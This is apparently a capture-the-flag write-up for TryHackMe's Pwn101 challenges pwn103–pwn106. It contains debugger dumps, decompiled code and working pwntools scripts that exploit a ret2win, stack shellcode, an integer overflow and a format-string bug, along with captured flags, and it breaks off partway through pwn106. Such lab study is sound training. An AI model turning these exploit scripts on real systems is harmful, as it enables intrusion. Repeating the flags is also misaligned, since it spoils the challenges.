โฃฟโฃฟโฃฟโกโ โ โ โข โฃดโฃพโฃตโฃถโฃถโฃพโฃฟโฃฆโกโ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โขโฃพโฃฟโฃฟโขฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโกโ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โขธโฃฟโฃฟโฃงโฃโฃผโฃฟโฃโฃ โฃฟโฃฟโฃฟโ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ ปโขทโกฏโ โ โ โ โขซโฃฟโ โ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโฃงโกโ โ โ โ โ โ โ โ โ โ โ โขกโฃโ โ โขธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃถโฃโฃธโฃฟโฃฟโฃฟ
โฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟโฃฟ
[THM Discord Server]
โโโโโโโโโโโ
1) ๐ข Announcements
2) ๐ Rules
3) ๐ฃ General
4) ๐ rooms discussion
5) ๐ค Bot commands
โโโโโโโโโโโ
โจ Choose the channel: 3
๐ฃ General:
------[jopraveen]: Hello pwners ๐
------[jopraveen]: Hope you're doing well ๐
------[jopraveen]: You found the vuln, right? ๐ค
------[pwner]: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Try harder!!! ๐ช
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401377 in general ()
[ Legend: Modified register | Code | Heap | Stack | String ]
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ registers โโโโ
$rax : 0x13
$rbx : 0x007fffffffdf48 โ 0x007fffffffe2ac โ "/home/mark/Desktop/B2B/THM/Pwn101/pwn103/pwn103.pw[...]"
$rcx : 0x007ffff7ec10d0 โ 0x5877fffff0003d48 ("H="?)
$rdx : 0x1
$rsp : 0x007fffffffde18 โ "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...]"
$rbp : 0x6161616a61616169 ("iaaajaaa"?)
$rsi : 0x1
$rdi : 0x007ffff7f9da10 โ 0x0000000000000000
$rip : 0x00000000401377 โ <general+185> ret
$r8 : 0x0000000040245d โ 0x2d2d007365790073 ("s"?)
$r9 : 0x007ffff7f9ba80 โ 0x00000000fbad208b
$r10 : 0x007ffff7de1ee8 โ 0x10001a00007c4c ("L|"?)
$r11 : 0x202
$r12 : 0x0
$r13 : 0x007fffffffdf58 โ 0x007fffffffe2e3 โ "COLORFGBG=15;0"
$r14 : 0x0
$r15 : 0x007ffff7ffd020 โ 0x007ffff7ffe2e0 โ 0x0000000000000000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ stack โโโโ
0x007fffffffde18โ+0x0000: "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...]" โ $rsp
0x007fffffffde20โ+0x0008: "maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaaya[...]"
0x007fffffffde28โ+0x0010: "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0x007fffffffde30โ+0x0018: "qaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0x007fffffffde38โ+0x0020: "saaataaauaaavaaawaaaxaaayaaa"
0x007fffffffde40โ+0x0028: "uaaavaaawaaaxaaayaaa"
0x007fffffffde48โ+0x0030: "waaaxaaayaaa"
0x007fffffffde50โ+0x0038: 0x00000061616179 ("yaaa"?)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ code:x86:64 โโโโ
0x401370 <general+178> call 0x401040 <puts@plt>
0x401375 <general+183> nop
0x401376 <general+184> leave
โ 0x401377 <general+185> ret
[!] Cannot disassemble from $PC
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ threads โโโโ
[#0] Id 1, Name: "pwn103.pwn103", stopped 0x401377 in general (), reason: SIGSEGV
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ trace โโโโ
[#0] 0x401377 โ general()
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
gefโค q
โโโ(venv)โ(markใฟhaxor)-[~/โฆ/B2B/THM/Pwn101/pwn103]
โโ$ cyclic -l kaaa
40
The offset is 40. Hereโs the script to exploit this binary (P.S) I had to debug movaps stack alignment by returning to a valid ret call before returning to admins_only
Solve script available at Exploit
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Binary filename
exe = './pwn103.pwn103'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Start program
io = start()
offset = 40
padding = "A" * offset
shell = elf.functions['admins_only']
movaps = 0x0000000000401016 # 0x0000000000401016: ret;
payload = flat([
padding,
movaps,
shell
])
def send_payload():
io.recvuntil('Choose the channel:')
io.sendline('3')
io.recvuntil('------[pwner]: ')
io.sendline(payload)
send_payload()
# Got Shell?
io.interactive()
Running it locally works
โโ$ python3 exploit.py
[+] Starting local process './pwn103.pwn103': pid 47933
[*] Switching to interactive mode
Try harder!!! ๐ช
๐ฎ Admins only:
Welcome admin ๐
$ ls -al
total 36
drwxr-xr-x 2 mark mark 4096 Feb 14 20:54 .
drwxr-xr-x 5 mark mark 4096 Feb 14 16:40 ..
-rw-r--r-- 1 mark mark 1215 Feb 14 20:54 exploit.py
-rwxr-xr-x 1 mark mark 20800 Feb 14 16:40 pwn103.pwn103
$
Now iโll run it on the remote server
โโ$ python3 exploit.py REMOTE 10.10.46.106 9003
[+] Opening connection to 10.10.46.106 on port 9003: Done
[*] Switching to interactive mode
Try harder!!! ๐ช
๐ฎ Admins only:
Welcome admin ๐
$ ls -al
total 56
drwx------ 2 pwn103 pwn103 4096 Feb 8 2022 .
drwxr-xr-x 12 root root 4096 Feb 8 2022 ..
lrwxrwxrwx 1 pwn103 pwn103 9 Feb 8 2022 .bash_history -> /dev/null
-rw-r--r-- 1 pwn103 pwn103 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 pwn103 pwn103 3771 Apr 4 2018 .bashrc
-rw-r--r-- 1 pwn103 pwn103 807 Apr 4 2018 .profile
-rwxrwxrwx 1 pwn103 pwn103 19 Jan 28 2022 flag.txt
-rwxrwxrwx 1 pwn103 pwn103 20800 Jan 28 2022 pwn103
-rwxrwxrwx 1 pwn103 pwn103 7379 Jan 28 2022 pwn103.c
$ cat flag.txt
THM{w3lC0m3_4Dm1N}
$
Challenge 4 = PWN104
Basic File Checks
โโ$ file pwn104.pwn104
pwn104.pwn104: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=60e0bab59b4e5412a1527ae562f5b8e58928a7cb, for GNU/Linux 3.2.0, not stripped
โโโ(venv)โ(markใฟhaxor)-[~/โฆ/B2B/THM/Pwn101/pwn104]
โโ$ checksec pwn104.pwn104
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn104/pwn104.pwn104'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Weโre working with a x64 binary which has no protections available
Iโll run it to know what it does
โโ$ ./pwn104.pwn104
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 104
I think I have some super powers ๐ช
especially executable powers ๐๐ฅ
Can we go for a fight? ๐๐ช
I'm waiting for you at 0x7ffd9518bba0
ls
We see it leaks an address of the stack and receives our input
Decompiling the binary using ghidra
Hereโs the main function
void main(void)
{
undefined input [80];
setup();
banner();
puts(&DAT_00402120);
puts(&DAT_00402148);
puts(&DAT_00402170);
printf("I\'m waiting for you at %p\n",input);
read(0,input,200);
return;
}
We see what the program does
1. Pritns out the banner
2. Leaks an address of the start of our input buffer on the stack
3. Recieves our input and reads 200 bytes of data into a buffer that can only hold up to 80 bytes of data # bug here
This is a buffer overflow since weโre allowed to store 800bytes of data in a 80 bytes buffer and from the protections of the binary we know that NX (No-Execute) is disabled so we can push shellcode to the stack and execute it
Firstly iโll get the offset needed to overwrite the rip
โโ$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
โโโ(venv)โ(markใฟhaxor)-[~/โฆ/B2B/THM/Pwn101/pwn104]
โโ$ gdb -q pwn104.pwn104
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.11
Reading symbols from pwn104.pwn104...
(No debugging symbols found in pwn104.pwn104)
gefโค r
Starting program: /home/mark/Desktop/B2B/THM/Pwn101/pwn104/pwn104.pwn104
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fc9000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 104
I think I have some super powers ๐ช
especially executable powers ๐๐ฅ
Can we go for a fight? ๐๐ช
I'm waiting for you at 0x7fffffffdde0
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Program received signal SIGSEGV, Segmentation fault.
0x000000000040124e in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ registers โโโโ
$rax : 0x65
$rbx : 0x007fffffffdf48 โ 0x007fffffffe2ac โ "/home/mark/Desktop/B2B/THM/Pwn101/pwn104/pwn104.pw[...]"
$rcx : 0x007ffff7ec102d โ 0x5b77fffff0003d48 ("H="?)
$rdx : 0xc8
$rsp : 0x007fffffffde38 โ 0x6161617861616177 ("waaaxaaa"?)
$rbp : 0x6161617661616175 ("uaaavaaa"?)
$rsi : 0x007fffffffdde0 โ "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$rdi : 0x0
$rip : 0x0000000040124e โ <main+129> ret
$r8 : 0x007ffff7f634c0 โ "0123456789abcdefghijklmnopqrstuvwxyz"
$r9 : 0x78
$r10 : 0x007ffff7dd8b40 โ 0x0010001200001a7e
$r11 : 0x246
$r12 : 0x0
$r13 : 0x007fffffffdf58 โ 0x007fffffffe2e3 โ "COLORFGBG=15;0"
$r14 : 0x0
$r15 : 0x007ffff7ffd020 โ 0x007ffff7ffe2e0 โ 0x0000000000000000
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ stack โโโโ
0x007fffffffde38โ+0x0000: 0x6161617861616177 โ $rsp
0x007fffffffde40โ+0x0008: 0x00007f0a61616179
0x007fffffffde48โ+0x0010: 0x000000004011cd โ <main+0> push rbp
0x007fffffffde50โ+0x0018: 0x00000100400040 ("@"?)
0x007fffffffde58โ+0x0020: 0x007fffffffdf48 โ 0x007fffffffe2ac โ "/home/mark/Desktop/B2B/THM/Pwn101/pwn104/pwn104.pw[...]"
0x007fffffffde60โ+0x0028: 0x007fffffffdf48 โ 0x007fffffffe2ac โ "/home/mark/Desktop/B2B/THM/Pwn101/pwn104/pwn104.pw[...]"
0x007fffffffde68โ+0x0030: 0x3c1a2945f466f7f0
0x007fffffffde70โ+0x0038: 0x0000000000000000
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ code:x86:64 โโโโ
0x401247 <main+122> call 0x401050 <read@plt>
0x40124c <main+127> nop
0x40124d <main+128> leave
โ 0x40124e <main+129> ret
[!] Cannot disassemble from $PC
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ threads โโโโ
[#0] Id 1, Name: "pwn104.pwn104", stopped 0x40124e in main (), reason: SIGSEGV
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ trace โโโโ
[#0] 0x40124e โ main()
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
gefโค
โโโ(venv)โ(markใฟhaxor)-[~/โฆ/B2B/THM/Pwn101/pwn104]
โโ$ cyclic -l waaa
88
The offset is 88. Hereโs how the exploit will go
1. I'll strip out the leaked input buffer address
2. Overwrite the rip
3. Inject shellcode to the stack
4. Make the return address return to the shellcode
Hereโs the solve script Exploit
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Binary filename
exe = './pwn104.pwn104'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Start program
io = start()
print(io.recvuntil("I'm waiting for you at"))
leak = io.recvline()
addr = int(leak.strip("\n"), 16)
print('Leaked input stack address ' + hex(addr))
offset = 88
shellcode = asm(shellcraft.sh())
padding = b'A' * (offset - len(shellcode))
# Build the payload
payload = flat([
shellcode,
padding,
addr
])
# Send payload
io.sendline(payload)
# Got Shell?
io.interactive()
Running it locally works
โโ$ python exploit.py
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[+] Starting local process './pwn104.pwn104': pid 73870
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 104
I think I have some super powers ๐ช
especially executable powers ๐๐ฅ
Can we go for a fight? ๐๐ช
I'm waiting for you at
Leaked input stack address 0x7fff8d608d70
[*] Switching to interactive mode
$ ls -al
total 28
drwxr-xr-x 2 mark mark 4096 Feb 14 22:28 .
drwxr-xr-x 6 mark mark 4096 Feb 14 21:11 ..
-rw-r--r-- 1 mark mark 1285 Feb 14 22:26 exploit.py
-rwxr-xr-x 1 mark mark 16296 Feb 14 21:11 pwn104.pwn104
$
Now iโll run it on the remote server
โโ$ python exploit.py REMOTE 10.10.46.106 9004
[+] Opening connection to 10.10.46.106 on port 9004: Done
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 104
I think I have some super powers ๐ช
especially executable powers ๐๐ฅ
Can we go for a fight? ๐๐ช
I'm waiting for you at
Leaked input stack address 0x7fffb47c6a90
[*] Switching to interactive mode
$ LS -AL
$ ls -al
total 44
drwx------ 2 pwn104 pwn104 4096 Feb 8 2022 .
drwxr-xr-x 12 root root 4096 Feb 8 2022 ..
lrwxrwxrwx 1 pwn104 pwn104 9 Feb 8 2022 .bash_history -> /dev/null
-rw-r--r-- 1 pwn104 pwn104 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 pwn104 pwn104 3771 Apr 4 2018 .bashrc
-rw-r--r-- 1 pwn104 pwn104 807 Apr 4 2018 .profile
-rwxrwxrwx 1 pwn104 pwn104 30 Jan 28 2022 flag.txt
-rwxrwxrwx 1 pwn104 pwn104 16296 Jan 28 2022 pwn104
-rwxrwxrwx 1 pwn104 pwn104 832 Jan 28 2022 pwn104.c
$ cat flag.txt
THM{0h_n0o0o0o_h0w_Y0u_Won??}
$
Challenge 5 = PWN105
Basic File Checks
โโ$ file pwn105.pwn105
pwn105.pwn105: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=efe6d094462867e6b08e74de43fb7126e7b14ee4, for GNU/Linux 3.2.0, not stripped
โโ$ checksec pwn105.pwn105
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn105/pwn105.pwn105'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Weโre working with a x64 binary which is dynamically linked and not stripped
All protections are enabled on the binary so weโre likely not dealing with a buffer overflow
Iโll run it to know what it does
โโ$ ./pwn105.pwn105
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 105
-------=[ BAD INTEGERS ]=-------
|-< Enter two numbers to add >-|
]>> 1
]>> 1
[*] ADDING 1 + 1
[*] RESULT: 2
We see that it recieves 2 numbers and sums them up
Using ghidra iโll decompile the binary
Hereโs the decompiled main function
void main(void)
{
long in_FS_OFFSET;
uint num1;
uint num2;
uint sum;
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
setup();
banner();
puts("-------=[ BAD INTEGERS ]=-------");
puts("|-< Enter two numbers to add >-|\n");
printf("]>> ");
__isoc99_scanf(&DAT_0010216f,&num1);
printf("]>> ");
__isoc99_scanf(&DAT_0010216f,&num2);
sum = num2 + num1;
if (((int)num1 < 0) || ((int)num2 < 0)) {
printf("\n[o.O] Hmmm... that was a Good try!\n",(ulong)num1,(ulong)num2,(ulong)sum);
}
else if ((int)sum < 0) {
printf("\n[*] C: %d",(ulong)sum);
puts("\n[*] Popped Shell\n[*] Switching to interactive mode");
system("/bin/sh");
}
else {
printf("\n[*] ADDING %d + %d",(ulong)num1,(ulong)num2);
printf("\n[*] RESULT: %d\n",(ulong)sum);
}
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
From this we know what it does
1. Prints out the banner
2. It receives our input and stores it in variable num1
3. It receives our input and stores it in variable num2
4. A variable is made which sums up num1 and num2
5. An if check is done to know if the num1 variable is less than zero or the num2 is leess than 0
6. If the check is meet it exits
7. Else if the sum variable is less than zero it pops a shell
8. But if non of that is meet it justs sums up our input and give its calculated value
Now from this we know that we canโt give any negative number cause it will make the program exits
And the aim is to make the sum variable a negative number whilst the value stored in num1 or num2 shouldnโt be a negative number
The way around this is to perform an integer overflow
Hereโs the resource Resouce
So when i give it this input 2,147,483,647
as num1 and 1
as num2 it will evaluate to a negative number
Trying it locally works and the reason is because the maximum value of a signed integer is 2147483647
so giving it 1
goes above the maximum value
โโ$ ./pwn105.pwn105
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 105
-------=[ BAD INTEGERS ]=-------
|-< Enter two numbers to add >-|
]>> 2147483647
]>> 1
[*] C: -2147483648
[*] Popped Shell
[*] Switching to interactive mode
$ ls -al
total 28
drwxr-xr-x 2 mark mark 4096 Feb 15 20:47 .
drwxr-xr-x 7 mark mark 4096 Feb 14 22:33 ..
-rwxr-xr-x 1 mark mark 16584 Feb 14 22:41 pwn105.pwn105
$
Hereโs the solve script Exploit
Running it remotely works
โโ$ python exploit.py REMOTE 10.10.146.62 9005
[+] Opening connection to 10.10.146.62 on port 9005: Done
[*] Switching to interactive mode
[*] C: -2147483648
[*] Popped Shell
[*] Switching to interactive mode
$ LS -AL
$ ls -al
total 48
drwx------ 2 pwn105 pwn105 4096 Feb 8 2022 .
drwxr-xr-x 12 root root 4096 Feb 8 2022 ..
lrwxrwxrwx 1 pwn105 pwn105 9 Feb 8 2022 .bash_history -> /dev/null
-rw-r--r-- 1 pwn105 pwn105 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 pwn105 pwn105 3771 Apr 4 2018 .bashrc
-rw-r--r-- 1 pwn105 pwn105 807 Apr 4 2018 .profile
-rwxrwxrwx 1 pwn105 pwn105 25 Jan 28 2022 flag.txt
-rwxrwxrwx 1 pwn105 pwn105 16584 Jan 28 2022 pwn105
-rwxrwxrwx 1 pwn105 pwn105 1140 Jan 28 2022 pwn105.c
$ cat flag.txt
THM{VerY_b4D_1n73G3rsss}
Challenge 6 = PWN106
Basic File Checks
โโ$ file pwn106user.pwn106-user
pwn106user.pwn106-user: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=60a1dfa10c02bcc6d113cb752053893ac9e2f4f1, for GNU/Linux 3.2.0, not stripped
โโ$ checksec pwn106user.pwn106-user
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn106/pwn106user.pwn106-user'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Weโre working with a x64 binary which has all protections enabled except RELRO which is partial meaning the address in GOT (Global Offset Table) can be overwritten
Iโll run it to know what it does
โโ$ ./pwn106user.pwn106-user
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 107
๐ THM Giveaway ๐
Enter your THM username to participate in the giveaway: pwn
Thanks pwn
It prints out the banner then receives out input and prints it out back
Iโll decompile using ghidra
Hereโs the decompiled main function
void main(void)
{
long in_FS_OFFSET;
char input [56];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
setup();
banner();
puts(&DAT_00102119);
printf("Enter your THM username to participate in the giveaway: ");
read(0,input,0x32);
printf("\nThanks ");
printf(input);
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Looking at the code we see what it does
1. Prints out the banner
2. It receives our input using read() and reads in 0x32 bytes which is stored in the input buffer
3. It then prints out the the value stored in input[]
From this we can tell the vulnerability lays in the printf(input)
This is a format string vulnerability cause it doesnโt specify the format used to print the value stored in input
No buffer overflow cause it reads in 0x32 bytes which is stored in input buffer and the input buffer can hold up to 56 bytes
With this format string vulnerabilty we can leak address off the stack
So hereโs how it basically works
There are various format specifier like %p, %x, %s, %hn, %n
but iโll use %p
which will leak address off the stack in form of hex
โโ$ ./pwn106user.pwn106-user
โโฌโโฌโโโฌ โฌโฌ โฌโโโโโโโฌโโโโฌโโโโ
โ โโฌโโโฌโโโโคโโโคโ โโดโโโโโโค
โด โดโโ โด โด โดโด โดโโโโด โดโด โดโโโ
pwn 107
๐ THM Giveaway ๐
Enter your THM username to participate in the giveaway: %p.%p.%p.%p.%p.%p
Thanks 0x7fffb1374300.(nil).(nil).0x564c8184f380.0x7f60258a86a0.0x5b5858587b4d4854
We see that some address are leaked. And i can try decoding that from hex but iโll decode the ones that doesnโt look like a libc address or stack address i.e 0xff
โโ$ echo 0x564c8184f380 | xxd -r -p ; echo 0x5b5858587b4d4854 | xxd -r -p
VL๏ฟฝ๏ฟฝ๏ฟฝ[XXX{MHT
From the result it seems to be like the flag format THM{
but in reversed form cause of little endianess
So i can leak off many address off the stack and try decoding since likely i will get the flag but doing it manually is going to take time
Script avaiable here Exploit
On running the exploit fuzz script leaks that the flag is stored on the stack but its redacted
โ$ python3 exploit.py
[+] Starting local process './pwn106user.pwn106-user': pid 25789
0: b'%0$p\n'
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25789)
[+] Starting local process './pwn106user.pwn106-user': pid 25791
1: b'0x7fff3216c3b0\n'
b'\xb0\xc3\x162\xff\x7f'
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25791)
[+] Starting local process './pwn106user.pwn106-user': pid 25793
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25793)
[+] Starting local process './pwn106user.pwn106-user': pid 25795
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25795)
[+] Starting local process './pwn106user.pwn106-user': pid 25799
[*] Process './pwn106user.pwn106-user' stopped with exit code 0 (pid 25799)
4: b'0x55d0a1678380\n'
b'\x80\x83g\xa1\xd0U'
[+] Starting local process './pwn106user.pwn106-user': pid 25803
5: b'0x7fd8213226a0\n'
b'\xa0&2!\xd8\x7f'
